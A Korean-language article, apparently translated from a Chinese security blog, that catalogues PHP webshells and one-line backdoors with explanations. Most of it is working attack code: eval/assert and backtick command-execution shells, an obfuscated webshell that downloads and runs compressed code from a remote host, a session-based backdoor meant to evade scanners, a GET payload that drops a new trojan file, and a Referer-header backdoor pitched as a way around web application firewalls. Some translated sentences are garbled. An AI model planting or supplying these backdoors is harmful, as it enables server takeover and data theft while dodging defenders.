가장 일반적인 한 문장 백도어 중 하나는 다음과 같이 작성될 수 있습니다
<?php @eval($_POST['cmd']);?>
또는 이것
<?php @assert($_POST['cmd']);?>
학생 tudouya가
을 사용하여 FREEBUF에 [구성 기술]을 제공했습니다.시공세대는 물론 너무 직관적이라면 이렇게 쓰면 됩니다
그런 다음 이를 위장하기 위한 일반 코드를 입력하면 간단한 "anti-kill" 셸 샘플이 나타납니다.
역사상 가장 쉬운 PHP 백도어로 알려진 것이 무엇인지 살펴보겠습니다
코드로 바로 이동:
<?php $c=urldecode($_GET['c']);if($c){`$c`;}//完整 !$_GET['c']||`{$_GET['c']}`;//精简 /******************************************************* * 原理:PHP中``符号包含会当作系统命令执行 * 示例:http://host/?c=type%20config.php>config.txt * 然后就可以下载config.txt查看内容了! * 可以试试更变态的命令,不要干坏事哦! *******************************************************/
구현 원칙은 PHP가 ` 기호(참고: 작은 따옴표 아님)에 포함된 내용을 실행을 위한 시스템 명령으로 직접 구문 분석한다는 것입니다! 이렇게 하면 자유롭고 비정상적으로 확장할 수 있습니다!
똑같은 간단한 코드를 살펴보겠습니다
<?php preg_replace("/[errorpage]/e",@str_rot13('@nffreg($_CBFG[cntr]);'),"saft"); ?>
비밀번호 페이지
최근 PHP 기반의 웹쉘 샘플을 캡처했습니다. 독창적인 동적 코드 생성 방법과 번거로운 셀프 페이지 변장 방법이 이 샘플을 분석하는 과정에서 많은 즐거움을 느끼게 했습니다. 다음으로, 이 멋진 Webshell을 함께 즐겨봅시다.
Webshell 코드는 다음과 같습니다.
<?php error_reporting(0); session_start(); header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api'])) $_SESSION['api']=substr(file_get_contents( sprintf('%s?%s',pack("H*", '687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649); @preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null); ?>
핵심은 다음 코드를 살펴보는 것입니다.
여기서 실행해보니 실제로는 사진입니다. 복호화된 사진 주소는 다음과 같습니다.
http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85
그런 다음 file_get_contents 함수를 호출하여 이미지를 문자열로 읽은 다음 substr은 3649바이트 이후의 내용을 가져온 다음 gzuncompress를 호출하여 압축을 풀어 실제 코드를 얻습니다. 마지막으로 preg_replace의 수정자 e가 호출되어 악성 코드를 실행합니다. 악성 샘플 코드를 복원하려면 여기에 다음 명령문을 실행하세요.
한 문장으로 기능 없이 PHP 숨기기:
<?php session_start(); $_POST [ 'code' ] && $_SESSION [ 'theCode' ] = trim( $_POST [ 'code' ]); $_SESSION [ 'theCode' ]&&preg_replace( '\'a\'eis' , 'e' . 'v' . 'a' . 'l' . '(base64_decode($_SESSION[\'theCode\']))' , 'a' ); ?>
$_POST['code']의 내용을 $_SESSION['theCode']에 할당한 다음 $_SESSION['theCode']를 실행하는 것이 특징입니다. 스캐닝 도구를 사용하여 코드를 확인하면 경보가 울리지 않습니다. 이는 목적입니다.
매우 숨겨진 PHP 백도어:
<?php $_GET [a]( $_GET [b]);?>
GET 기능을 사용하는 것만으로도 트로이 목마가 됩니다.
사용 방법:
?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};
실행 후 현재 디렉토리는 한 문장으로 c.php Trojan을 생성합니다. 매개변수 a가 eval인 경우 Trojan 생성에 실패했다는 오류가 보고되며, Assert인 경우에도 동일한 오류가 보고됩니다. 그러나 트로이 목마는 실제로 과소평가되어서는 안 됩니다. 이는 이러한 응용 프로그램으로 확장되는 것입니다.
PHP 백도어를 실행하도록 코딩된 계층적 요청:
이 방법은 두 개의 파일인 파일 1
에서 구현됩니다.
<?php //1.php header( 'Content-type:text/html;charset=utf-8' ); parse_str ( $_SERVER [ 'HTTP_REFERER' ], $a ); if (reset( $a ) == '10' && count ( $a ) == 9) { eval ( base64_decode ( str_replace ( " " , "+" , implode( array_slice ( $a , 6))))); } ?>
파일 2
<?php //2.php header( 'Content-type:text/html;charset=utf-8' ); //要执行的代码 $code = <<<CODE phpinfo(); CODE; //进行base64编码 $code = base64_encode ( $code ); //构造referer字符串 $referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=" ; //后门url $url = 'http://localhost/test1/1.php ' ; $ch = curl_init(); $options = array ( CURLOPT_URL => $url , CURLOPT_HEADER => FALSE, CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_REFERER => $referer ); curl_setopt_array( $ch , $options ); echocurl_exec( $ch ); ?>
HTTP 요청에서 HTTP_REFERER를 사용하여 base64로 인코딩된 코드를 실행하면 백도어 효과를 얻을 수 있습니다. 일반적으로 WAF는 리퍼러를 더 느슨하게 감지하거나 감지하지 않습니다. 이 아이디어를 사용하여 waf를 우회하는 것이 좋습니다.
우리는 학습 태도로 이러한 PHP 백도어 프로그램을 다룹니다. 많은 PHP 백도어 코드를 통해 프로그래머의 의도가 얼마나 좋은지 알 수 있습니다.